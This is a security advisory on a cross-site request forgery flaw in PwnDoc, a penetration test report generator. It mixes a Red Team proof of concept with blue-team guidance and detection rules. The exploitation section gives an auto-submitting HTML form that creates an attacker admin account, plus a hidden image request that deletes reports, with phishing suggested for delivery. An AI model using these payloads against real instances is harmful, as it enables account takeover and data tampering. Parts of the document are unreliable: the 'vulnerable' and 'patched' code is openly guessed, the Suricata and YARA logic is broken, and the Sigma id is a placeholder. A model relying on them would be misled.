CVE-2025-23044

Executive Summary

CVE-2025-23044 identifies a critical Cross-Site Request Forgery (CSRF) vulnerability in PwnDoc, a penetration test report generator. The application lacks CSRF protection mechanisms, allowing an attacker to forge requests on behalf of an authenticated user. This includes both GET and POST requests due to the absence of the SameSite attribute on session cookies and the ability to refresh cookies. The vulnerability has a CVSS score of 6.8 (Medium), with a public proof-of-concept available. No official patch has been released, but a commit (14acb704891245bf1703ce6296d62112e85aa995) addresses the issue. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the risk remains significant for organizations using PwnDoc in production.

Supply Chain & Package Security

PwnDoc is a Node.js application distributed via GitHub. The vulnerability affects the core application logic, not a specific package manager. However, organizations should verify the integrity of their PwnDoc installation and ensure they are using a version that includes the fix commit. No known malicious packages have been associated with this CVE.

CVSS Breakdown & Threat Level

• CVSS Score: 6.8 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a link or visit a malicious page)
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: None

Threat Level: Medium. The vulnerability requires user interaction but can lead to full compromise of the PwnDoc instance, including data exfiltration and unauthorized actions.

Deep Dive & Mechanics

PwnDoc is a web application that manages penetration test reports. The CSRF vulnerability stems from two key issues:

1. Missing CSRF Tokens: The application does not implement anti-CSRF tokens (e.g., synchronizer tokens or double-submit cookies) in any forms or API endpoints.
2. Insecure Cookie Configuration: Session cookies lack the SameSite attribute, making them sent on cross-origin requests. Additionally, the application allows cookie refresh, enabling attackers to maintain a valid session.

An attacker can craft a malicious HTML page or use a simple <img> or <form> tag to trigger actions on the PwnDoc instance. For example, an attacker could:

• Create a new admin user.
• Modify or delete existing reports.
• Exfiltrate sensitive data via a crafted POST request.

The attack flow:

1. Victim is authenticated to PwnDoc.
2. Victim visits a malicious site controlled by the attacker.
3. The malicious site sends a cross-origin request (GET or POST) to the PwnDoc instance.
4. The browser automatically includes the victim's session cookie (due to missing SameSite).
5. PwnDoc processes the request, performing the attacker's desired action.

Vulnerable vs. Patched Code

Vulnerable Code (before commit 14acb704891245bf1703ce6296d62112e85aa995):

The application likely uses Express.js with cookie-parser but does not set SameSite attribute. Example vulnerable cookie configuration:

app.use(cookieParser());
// No SameSite attribute set
res.cookie('session', sessionId, { httpOnly: true, secure: true });

Additionally, no CSRF middleware is used:

// Missing: const csrf = require('csurf');
// Missing: app.use(csrf({ cookie: true }));

Patched Code (after commit 14acb704891245bf1703ce6296d62112e85aa995):

The patch adds SameSite attribute to cookies and implements CSRF protection. Example patched configuration:

const csrf = require('csurf');
app.use(csrf({ cookie: true }));

// Set SameSite attribute
res.cookie('session', sessionId, { httpOnly: true, secure: true, sameSite: 'strict' });

The commit also ensures that all state-changing requests require a valid CSRF token.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running PwnDoc instance (vulnerable version).
• An authenticated user session.
• A controlled attacker server or a way to deliver a malicious link to the victim.

Exploitation Steps:

1. Craft a malicious HTML page that performs a CSRF attack. For example, to create a new admin user:

<html>
<body>
<h1>Click me!</h1>
<form action="http://target-pwndoc.com/api/users" method="POST">
  <input type="hidden" name="username" value="attacker" />
  <input type="hidden" name="password" value="attacker123" />
  <input type="hidden" name="role" value="admin" />
  <input type="submit" value="Submit" />
</form>
<script>
  document.forms[0].submit();
</script>
</body>
</html>

2. Host the page on an attacker-controlled server (e.g., using Python's HTTP server):

python3 -m http.server 8080

3. Deliver the link to the victim (e.g., via phishing email or social engineering).

4. Victim clicks the link and the form auto-submits, creating a new admin user.

5. Attacker logs in with the new credentials and gains full access.

Alternative GET-based attack (e.g., to delete a report):

<img src="http://target-pwndoc.com/api/reports/delete/123" style="display:none" />

Blue Team

Detection and Prevention:

1. Monitor for unusual cross-origin requests to PwnDoc endpoints. Use browser developer tools or network logs to identify requests with Origin headers not matching the application's domain.

2. Implement CSRF protection immediately by applying the patch commit or adding CSRF tokens manually.

3. Set SameSite attribute on all cookies to Strict or Lax.

4. Use Content Security Policy (CSP) headers to restrict form actions and script sources.

5. Educate users about phishing attacks and the importance of not clicking suspicious links while authenticated.

Lab Setup for Testing:

1. Deploy a vulnerable PwnDoc instance using Docker:

docker run -d -p 3000:3000 --name pwndoc-vuln pwndoc/pwndoc:latest

2. Create a test user and log in.

3. Set up a simple attacker server (e.g., using Python) to host the malicious HTML.

4. Simulate the attack and verify the CSRF vulnerability.

5. Apply the patch and re-test to confirm mitigation.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Unusual POST requests to /api/users or /api/reports with unexpected Origin headers.
  • Repeated requests to PwnDoc endpoints from IP addresses not associated with legitimate users.
  • Presence of Referer headers pointing to external domains.

• Host IOCs:

  • Unexpected new user accounts in the PwnDoc database.
  • Modified or deleted reports without corresponding user actions.
  • Log entries showing actions performed by users at unusual times or from unusual IPs.

• File IOCs:

  • Malicious HTML files or scripts on attacker-controlled servers that reference PwnDoc endpoints.

Detection Engineering

YARA Rule

rule CVE_2025_23044_CSRF_PwnDoc {
    meta:
        description = "Detects CSRF attack patterns against PwnDoc"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-23044"
    strings:
        $s1 = "pwndoc" nocase
        $s2 = "/api/users" nocase
        $s3 = "/api/reports" nocase
        $s4 = "SameSite" nocase
    condition:
        any of ($s1, $s2, $s3) and not $s4
}

Sigma Rule

title: CSRF Attack Against PwnDoc
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential CSRF attacks targeting PwnDoc by monitoring for cross-origin requests
author: Valters IT
date: 2025-01-01
logsource:
    category: web
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/api/users'
            - '/api/reports'
        cs-referer:
            - 'http://*'
            - 'https://*'
    condition: selection and not cs-referer contains 'target-pwndoc.com'
falsepositives:
    - Legitimate cross-origin requests from trusted sources
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-23044 - PwnDoc CSRF Attack"; flow:to_server; content:"POST"; http_method; content:"/api/users"; http_uri; content:"/api/reports"; http_uri; pcre:"/Referer: [^\\n]*[^t][^a][^r][^g][^e][^t]/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Apply the patch: Merge commit 14acb704891245bf1703ce6296d62112e85aa995 into your PwnDoc instance. This adds CSRF protection and sets the SameSite attribute on cookies.

2. Manual workaround: If patching is not immediately possible, implement the following:

   • Add CSRF middleware (e.g., csurf for Express.js).
   • Set SameSite=Strict on all cookies.
   • Validate the Origin or Referer header on all state-changing requests.

3. Network-level mitigation:

   • Use a Web Application Firewall (WAF) to block requests with suspicious Origin headers.
   • Restrict access to PwnDoc to trusted IP ranges or VPN.

4. User education: Train users to avoid clicking links while authenticated to PwnDoc and to log out after use.

5. Monitor for exploitation: Review logs for unusual user creation or report modifications.

Valters IT
Securing Your Digital Frontier